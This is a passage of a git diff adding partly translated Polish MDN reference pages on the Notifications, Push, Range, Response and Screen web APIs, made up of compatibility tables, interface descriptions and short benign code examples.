+<h2 id="Specifikacja">Specifikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Notifications')}}</td>
+ <td>{{Spec2('Web Notifications')}}</td>
+ <td>Living standard</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_Przeglądarek">Kompatybilność Przeglądarek</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Podstawowa usługa</td>
+ <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+ 22</td>
+ <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+ 22</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>6<sup>[3]</sup></td>
+ </tr>
+ <tr>
+ <td><code>ikona</code></td>
+ <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+ 22</td>
+ <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+ 22</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Available in workers</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("41.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>silent</code></td>
+ <td>{{CompatChrome(43.0)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>noscreen</code>, <code>renotify</code>, <code>sound</code>, <code>sticky</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>
+ <p>{{CompatVersionUnknown}}</p>
+ </td>
+ <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+ 22</td>
+ <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+ 1.2</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>
+ <p>{{CompatVersionUnknown}}</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>icon</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+ 22</td>
+ <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+ 1.2</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Available in workers</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("41.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>silent</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(43.0)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(43.0)}}</td>
+ </tr>
+ <tr>
+ <td><code>noscreen</code>, <code>renotify</code>, <code>sound</code>, <code>sticky</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Chrome 22, the support for notification followed an <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">old prefixed version of the specification</a> and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification.</p>
+
+<p>Before Chrome 32, {{domxref("Notification.permission")}} was not supported.</p>
+
+<p>Before Chrome 42, service worker additions were not supported.</p>
+
+<p>[2] Prior to Firefox 22 (Firefox OS &lt;1.2), the instantiation of a new notification must be done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its <code>createNotification</code> method.</p>
+
+<p>Prior to Firefox 22 (Firefox OS &lt;1.2), the Notification was displayed when calling the <code>show</code> method and supported only the <code>click</code> and <code>close</code> events.</p>
+
+<p>Nick Desaulniers wrote a <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a> to cover both newer and older implementations.</p>
+
+<p>One particular Firefox OS issue is that you can <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L171">pass a path to an icon</a> to use in the notification, but if the app is packaged you cannot use a relative path like <code>/my_icon.png</code>. You also can't use <code>window.location.origin + "/my_icon.png"</code> because <code>window.location.origin</code> is null in packaged apps. The <a href="https://developer.mozilla.org/en-US/Apps/Developing/Manifest#origin">manifest origin field</a> fixes this, but it is only available in Firefox OS 1.1+. A potential solution for supporting Firefox OS &lt;1.1 is to <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L168">pass an absolute URL to an externally hosted version of the icon</a>. This is less than ideal as the notification is displayed immediately without the icon, then the icon is fetched, but it works on all versions of Firefox OS.</p>
+
+<p>When using notifications  in a Firefox OS app, be sure to add the <code>desktop-notification</code> permission in your manifest file. Notifications can be used at any permission level, hosted or above: <code>"permissions": { "desktop-notification": {} }</code></p>
+
+<p>[3] Safari zaczeło wspierać powiadomienia z wersją Safari 6,ale tylko od Mac OSX 10.8+(Mountain Lion).</p>
+
+<h2 id="Zobacz_Także">Zobacz Także</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API" lang="PL" name="Używanie API Powiadomień">Using the Notifications API</a></li>
+</ul>
diff --git a/files/pl/web/api/push_api/index.html b/files/pl/web/api/push_api/index.html
new file mode 100644
index 0000000000..e889cb6c01
--- /dev/null
+++ b/files/pl/web/api/push_api/index.html
@@ -0,0 +1,167 @@
+---
+title: Push API
+slug: Web/API/Push_API
+translation_of: Web/API/Push_API
+---
+<div>{{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}</div>
+
+<p class="summary"><strong>Push API</strong> daje aplikacjom web możliwość odbierania wiadomości przesłanych z serwera, niezależnie do tego czy aplikacja pracuje w tle, lub jest wogóle załadowana w przeglądarce internetowej. To pozwala programistom dostarczać (asynchronicznie) powiadomienia i aktualizacje do użytkowników którzy zezwolili na przesyłanie notyfikacj, w efekcie mamy lepszą komunikację z użytkownikiem, którzy dostają nowe treści w odpowiednim czasie.th timely new content.</p>
+
+<h2 id="Pojęcia_i_stosowanie">Pojęcia i stosowanie</h2>
+
+<p>For an app to receive push messages, it has to have an active <a href="/en-US/docs/Web/API/ServiceWorker_API">service worker</a>. When the service worker is active, it can subscribe to push notifications, using {{domxref("PushManager.subscribe()")}}.</p>
+
+<p>The resulting {{domxref("PushSubscription")}} includes all the information that the application needs to send a push message: an endpoint and the encryption key needed for sending data.</p>
+
+<p>The service worker will be started as necessary to handle incoming push messages, which are delivered to the {{domxref("ServiceWorkerGlobalScope.onpush")}} event handler. This allows apps to react to push messages being received, for example, by displaying a notification (using {{domxref("ServiceWorkerRegistration.showNotification()")}}.)</p>
+
+<p>Each subscription is unique to a service worker.  The endpoint for the subscription is a unique <a href="http://www.w3.org/TR/capability-urls/">capability URL</a>: knowledge of the endpoint is all that is necessary to send a message to your application. The endpoint URL therefore needs to be kept secret, or other applications might be able to send push messages to your application.</p>
+
+<p>Activating a service worker to deliver a push message can result in increased resource usage, particularly of the battery. Different browsers have different schemes for handling this, there is currently no standard mechanism. Firefox allows a limited number (quota) of push messages to be sent to an application, although Push messages that generate notifications are exempt from this limit. The limit is refreshed each time the site is visited. In comparison, Chrome applies no limit, but requires that every push message causes a notification to be displayed.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As of Gecko 44, the allowed quota of push messages per application is not incremented when a new notification fires, when another is still visible, for a period of three seconds. This handles cases where a burst of notifications is received, and not all generate a visible notification.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Chrome versions earlier than 52 require you to set up a project on <a href="https://developers.google.com/cloud-messaging/">Google Cloud Messaging</a> to send push messages, and use the associated project number and API key when sending push notifications. It also requires an app manifest, with some special parameters to use this service.</p>
+</div>
+
+<h2 id="Interfejsy">Interfejsy</h2>
+
+<dl>
+ <dt>{{domxref("PushEvent")}}</dt>
+ <dd>Represents a push action, sent to the <a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope">global scope</a> of a {{domxref("ServiceWorker")}}. It contains information sent from an application to a {{domxref("PushSubscription")}}.</dd>
+ <dt>{{domxref("PushManager")}}</dt>
+ <dd>Provides a way to receive notifications from third-party servers, as well as request URLs for push notifications. This interface has replaced the functionality offered by the obsolete {{domxref("PushRegistrationManager")}} interface.</dd>
+ <dt>{{domxref("PushMessageData")}}</dt>
+ <dd>Provides access to push data sent by a server, and includes methods to manipulate the received data.</dd>
+ <dt>{{domxref("PushSubscription")}}</dt>
+ <dd>Provides a subcription's URL endpoint, and allows unsubscription from a push service.</dd>
+</dl>
+
+<h2 id="Wzbogacenia_Service_worker">Wzbogacenia Service worker</h2>
+
+<p>The following additions to the <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> have been specified in the Push API spec to provide an entry point for using Push messages. They also monitor and respond to push and subscription change events.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status. This is the entry point into using Push messaging.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpush")}}</dt>
+ <dd>An event handler fired whenever a {{Event("push")}} event occurs; that is, whenever a server push message is received.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}</dt>
+ <dd>An event handler fired whenever a {{Event("pushsubscriptionchange")}} event occurs; for example, when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time.)</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p><a href="https://serviceworke.rs/">ServiceWorker Cookbook</a> Mozilli zawiera dużo przydatnych przykładów Push.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Push API")}}</td>
+ <td>{{Spec2("Push API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_przeglądarek">Zgodność przeglądarek</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Funkcjonalność</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(42.0)}}</td>
+ <td>{{CompatGeckoDesktop(44.0)}}<sup>[1][3]</sup></td>
+ <td>{{CompatNo}}<sup>[2]</sup></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("PushEvent.data")}},<br>
+ {{domxref("PushMessageData")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop(44.0)}}<sup>[3]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile(48.0)}}<sup>[4]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}<sup>[2]</sup></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatChrome(42.0)}}</td>
+ </tr>
+ <tr>
+ <td>{{domxref("PushEvent.data")}},<br>
+ {{domxref("PushMessageData")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile(48.0)}}<sup>[4]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] Aktualnie dostępne tylko dla wersji desktop przeglądarek Firefox; również, wiadomości push są dostarczane tylko wtedy gdy Firefox jest uruchomiony.</li>
+ <li>[2] Aktualnie nie jest zaimplementowane. Zobacz <a href="https://dev.modern.ie/platform/status/pushapi/">Microsoft Edge status information</a>.</li>
+ <li>[3] Push (i <a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a>) zostały zablokowane w wersjach przeglądarek <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 and 52 Extended Support Releases</a> (ESR.)</li>
+ <li>[4] Push jest już dostępny (domoyślnie) w przeglądarkach Firefox oraz Android version 48.</li>
+</ul>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/">Sending VAPID identified WebPush Notifications via Mozilla’s Push Service</a></li>
+ <li><a href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">Push Notifications on the Open Web</a>, Matt Gaunt</li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+</ul>
diff --git a/files/pl/web/api/range/index.html b/files/pl/web/api/range/index.html
new file mode 100644
index 0000000000..cabb00df2c
--- /dev/null
+++ b/files/pl/web/api/range/index.html
@@ -0,0 +1,105 @@
+---
+title: range
+slug: Web/API/Range
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/Range
+---
+<p>{{ ApiRef("DOM") }}Obiekt <code>Range</code> reprezentuje fragment dokumentu, który stanowi węzeł oraz część węzła tekstowego w danym dokumencie.</p>
+
+<p>A range can be created using the <code><a href="pl/DOM/document.createRange">createRange</a></code> method of the <code><a href="pl/DOM/document">Document</a></code> object. Range objects can also be retrieved by using the <code><a href="pl/DOM/Selection/getRangeAt">getRangeAt</a></code> method of the <code><a href="pl/DOM/Selection">selection</a></code> object.</p>
+
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+
+<dl>
+ <dt><a href="pl/DOM/range.collapsed">collapsed</a></dt>
+ <dd>Returns a boolean indicating whether the range's start and end points are at the same position.</dd>
+ <dt><a href="pl/DOM/range.commonAncestorContainer">commonAncestorContainer</a></dt>
+ <dd>Returns the deepest Node that contains the startContainer and endContainer Nodes.</dd>
+ <dt><a href="pl/DOM/range.endContainer">endContainer</a></dt>
+ <dd>Returns the Node within which the Range ends.</dd>
+ <dt><a href="pl/DOM/range.endOffset">endOffset</a></dt>
+ <dd>Returns a number representing where in the endContainer the Range ends.</dd>
+ <dt><a href="pl/DOM/range.startContainer">startContainer</a></dt>
+ <dd>Returns the Node within which the Range starts.</dd>
+ <dt><a href="pl/DOM/range.startOffset">startOffset</a></dt>
+ <dd>Returns a number representing where in the startContainer the Range starts.</dd>
+</dl>
+
+<h3 id="Metody" name="Metody">Metody</h3>
+
+<h4 id="Metody_pozycjonowania" name="Metody_pozycjonowania">Metody pozycjonowania</h4>
+
+<p>Te metody ustawiają punkt początkowy i końcowy obiektu range.</p>
+
+<dl>
+ <dt><a href="pl/DOM/range.setStart">setStart</a></dt>
+ <dd>Ustawia pozycję początkową obiektu range.</dd>
+ <dt><a href="pl/DOM/range.setEnd">setEnd</a></dt>
+ <dd>Ustawia pozycję końcową obiektu range.</dd>
+ <dt><a href="pl/DOM/range.setStartBefore">setStartBefore</a></dt>
+ <dd>Ustawia pozycję początkowa dla obiektu range w odniesieniu do innego węzła.</dd>
+ <dt><a href="pl/DOM/range.setStartAfter">setStartAfter</a></dt>
+ <dd>Ustawia pozycję początkowa dla obiektu range w odniesieniu do innego węzła.</dd>
+ <dt><a href="pl/DOM/range.setEndBefore">setEndBefore</a></dt>
+ <dd>Ustawia pozycję końcową dla obiektu range w odniesieniu do innego węzła.</dd>
+ <dt><a href="pl/DOM/range.setEndAfter">setEndAfter</a></dt>
+ <dd>Ustawia pozycję końcową dla obiektu range w odniesieniu do innego węzła.</dd>
+ <dt><a href="pl/DOM/range.selectNode">selectNode</a></dt>
+ <dd>Ustawia obiekt range, aby zawierał węzeł wraz z jego zawartością.</dd>
+ <dt><a href="pl/DOM/range.selectNodeContents">selectNodeContents</a></dt>
+ <dd>Ustawia obiekt range, aby zawierał zawartość węzła.</dd>
+ <dt><a href="pl/DOM/range.collapse">collapse</a></dt>
+ <dd>Zawija obiekt range do jednego z jego punktów granicznych.</dd>
+</dl>
+
+<h4 id="Metody_edytuj.C4.85ce" name="Metody_edytuj.C4.85ce">Metody edytujące</h4>
+
+<p>These methods retrieve Nodes from a range and modify the contents of a range.</p>
+
+<dl>
+ <dt><a href="pl/DOM/range.cloneContents">cloneContents</a></dt>
+ <dd>Returns a document fragment copying the nodes of a Range.</dd>
+ <dt><a href="pl/DOM/range.deleteContents">deleteContents</a></dt>
+ <dd>Removes the contents of a Range from the document.</dd>
+ <dt><a href="pl/DOM/range.extractContents">extractContents</a></dt>
+ <dd>Moves contents of a Range from the document tree into a document fragment</dd>
+ <dt><a href="pl/DOM/range.insertNode">insertNode</a></dt>
+ <dd>Insert a node at the start of a Range.</dd>
+ <dt><a href="pl/DOM/range.surroundContents">surroundContents</a></dt>
+ <dd>Moves content of a Range into a new node.</dd>
+</dl>
+
+<h4 id="Inne_metody" name="Inne_metody">Inne metody</h4>
+
+<dl>
+ <dt><a href="pl/DOM/range.compareBoundaryPoints">compareBoundaryPoints</a></dt>
+ <dd>Porównuje punkty graniczne dwóch obiektów range.</dd>
+ <dt><a href="pl/DOM/range.cloneRange">cloneRange</a></dt>
+ <dd>Zwraca obiekt range z punktami granicznymi identycznymi z klonowanym obiektem range.</dd>
+ <dt><a href="pl/DOM/range.detach">detach</a></dt>
+ <dd>Releases Range from use to improve performance.</dd>
+ <dt><a href="pl/DOM/range.toString">toString</a></dt>
+ <dd>Zwraca tekst z obiektu range.</dd>
+</dl>
+
+<h4 id="Metody_Gecko" name="Metody_Gecko">Metody Gecko</h4>
+
+<p>Ta sekcja opisuje szczególne metody <code>Range</code> Mozilli nie będące częścią specyfikacji W3C DOM.</p>
+
+<dl>
+ <dt><a href="pl/DOM/range.compareNode">compareNode</a> {{ Obsolete_inline() }}</dt>
+ <dd>Zwraca stałą opisującą czy węzeł znajduje się przed, za, wewnątrz lub otacza obiekt range .</dd>
+ <dt><a href="pl/DOM/range.comparePoint">comparePoint</a></dt>
+ <dd>Zwraca -1, 0 lub 1 wskazując czy punkt porównania występuje przed, wewnątrz lub za obiektem range.</dd>
+ <dt><a href="pl/DOM/range.createContextualFragment">createContextualFragment</a></dt>
+ <dd>Zwraca fragment dokumentu utworzony z danego łańcucha kodu.</dd>
+ <dt><a href="pl/DOM/range.intersectsNode">intersectsNode</a> {{ Obsolete_inline() }}</dt>
+ <dd>Zwraca wartość Boolean określającą czy dany węzeł przecina obiekt range.</dd>
+ <dt><a href="pl/DOM/range.isPointInRange">isPointInRange</a></dt>
+ <dd>Zwraca wartość Boolean określającą czy dany punkt jest zawarty w obiekcie range.</dd>
+</dl>
diff --git a/files/pl/web/api/response/index.html b/files/pl/web/api/response/index.html
new file mode 100644
index 0000000000..394a5a4a4d
--- /dev/null
+++ b/files/pl/web/api/response/index.html
@@ -0,0 +1,132 @@
+---
+title: Response
+slug: Web/API/Response
+tags:
+ - API
+ - Experimental
+ - Fetch
+ - Fetch API
+ - Interface
+ - NeedsTranslation
+ - Reference
+ - Response
+ - TopicStub
+translation_of: Web/API/Response
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p>The <strong><code>Response</code></strong> interface of the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> represents the response to a request.</p>
+
+<p>You can create a new <code>Response</code> object using the {{domxref("Response.Response()")}} constructor, but you are more likely to encounter a Response object being returned as the result of another API operation, for example a service worker {{domxref("Fetchevent.respondWith")}}, or a simple {{domxref("GlobalFetch.fetch()")}}.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("Response.Response","Response()")}}</dt>
+ <dd>Creates a new <code>Response</code> object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Response.headers")}} {{readonlyinline}}</dt>
+ <dd>Contains the {{domxref("Headers")}} object associated with the response.</dd>
+ <dt>{{domxref("Response.ok")}} {{readonlyinline}}</dt>
+ <dd>Contains a boolean stating whether the response was successful (status in the range 200-299) or not.</dd>
+ <dt>{{domxref("Response.redirected")}} {{ReadOnlyInline}}</dt>
+ <dd>Indicates whether or not the response is the result of a redirect; that is, its URL list has more than one entry.</dd>
+ <dt>{{domxref("Response.status")}} {{readonlyinline}}</dt>
+ <dd>Contains the status code of the response (e.g., <code>200</code> for a success).</dd>
+ <dt>{{domxref("Response.statusText")}} {{readonlyinline}}</dt>
+ <dd>Contains the status message corresponding to the status code (e.g., <code>OK</code> for <code>200</code>).</dd>
+ <dt>{{domxref("Response.trailers")}}</dt>
+ <dd>Contains a {{domxref("Promise")}} resolving to a {{domxref("Headers")}} object associated with the response with {{domxref("Response.headers")}} for values of the HTTP {{HTTPHeader("Trailer")}} header.</dd>
+ <dt>{{domxref("Response.type")}} {{readonlyinline}}</dt>
+ <dd>Contains the type of the response (e.g., <code>basic</code>, <code>cors</code>).</dd>
+ <dt>{{domxref("Response.url")}} {{readonlyinline}}</dt>
+ <dd>Contains the URL of the response.</dd>
+ <dt>{{domxref("Response.useFinalURL")}}</dt>
+ <dd>Contains a boolean stating whether this is the final URL of the response.</dd>
+</dl>
+
+<p><code>Response</code> implements {{domxref("Body")}}, so it also has the following properties available to it:</p>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>A simple getter used to expose a {{domxref("ReadableStream")}} of the body contents.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>Stores a {{domxref("Boolean")}} that declares whether the body has been used in a response yet.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Response.clone()")}}</dt>
+ <dd>Creates a clone of a <code>Response</code> object.</dd>
+ <dt>{{domxref("Response.error()")}}</dt>
+ <dd>Returns a new <code>Response</code> object associated with a network error.</dd>
+ <dt>{{domxref("Response.redirect()")}}</dt>
+ <dd>Creates a new response with a different URL.</dd>
+</dl>
+
+<p><code>Response</code> implements {{domxref("Body")}}, so it also has the following methods available to it:</p>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text).</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In our <a href="https://github.com/mdn/fetch-examples/tree/master/basic-fetch">basic fetch example</a> (<a href="http://mdn.github.io/fetch-examples/basic-fetch/">run example live</a>) we use a simple <code>fetch()</code> call to grab an image and display it in an {{htmlelement("img")}} tag. The <code>fetch()</code> call returns a promise, which resolves with the <code>Response</code> object associated with the resource fetch operation. You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob")}} ({{domxref("Response")}} implements body) to give the response its correct MIME type.</p>
+
+<pre class="brush: js">const image = document.querySelector('.my-image');
+fetch('flowers.jpg').then(function(response) {
+ return response.blob();
+}).then(function(blob) {
+ const objectURL = URL.createObjectURL(blob);
+ image.src = objectURL;
+});</pre>
+
+<p>You can also use the {{domxref("Response.Response()")}} constructor to create your own custom <code>Response</code> object:</p>
+
+<pre class="brush: js">const response = new Response();</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch','#response-class','Response')}}</td>
+ <td>{{Spec2('Fetch')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Response")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/pl/web/api/screen/colordepth/index.html b/files/pl/web/api/screen/colordepth/index.html
new file mode 100644
index 0000000000..89c06c4b8c
--- /dev/null
+++ b/files/pl/web/api/screen/colordepth/index.html
@@ -0,0 +1,43 @@
+---
+title: Screen.colorDepth
+slug: Web/API/Screen/colorDepth
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Screen/colorDepth
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca głębię koloru ekranu.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">bitDepth = window.screen.colorDepth
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">// Sprawdzenie głębi koloru ekranu
+if ( window.screen.colorDepth &lt; 8) {
+ // Użycie wersji strony z małą ilością kolorów
+} else {
+ // Użycie prawidłowej wersji strony, o pełnej głębi kolorów
+}
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Zobacz także <code><a href="pl/DOM/window.screen.pixelDepth">window.screen.pixelDepth</a></code>.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>{{ DOM0() }}</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.screen.colorDepth", "ja": "ja/DOM/window.screen.colorDepth" } ) }}</p>
diff --git a/files/pl/web/api/screen/index.html b/files/pl/web/api/screen/index.html
new file mode 100644
index 0000000000..91ce6c3476
--- /dev/null
+++ b/files/pl/web/api/screen/index.html
@@ -0,0 +1,74 @@
+---
+title: Screen
+slug: Web/API/Screen
+translation_of: Web/API/Screen
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<p>The <code>Screen</code> interface represents a screen, usually the one on which the current window is being rendered.</p>
+
+<p>Usually it is the one on which the current window is being rendered, obtained using <code>window.screen</code>.</p>
+
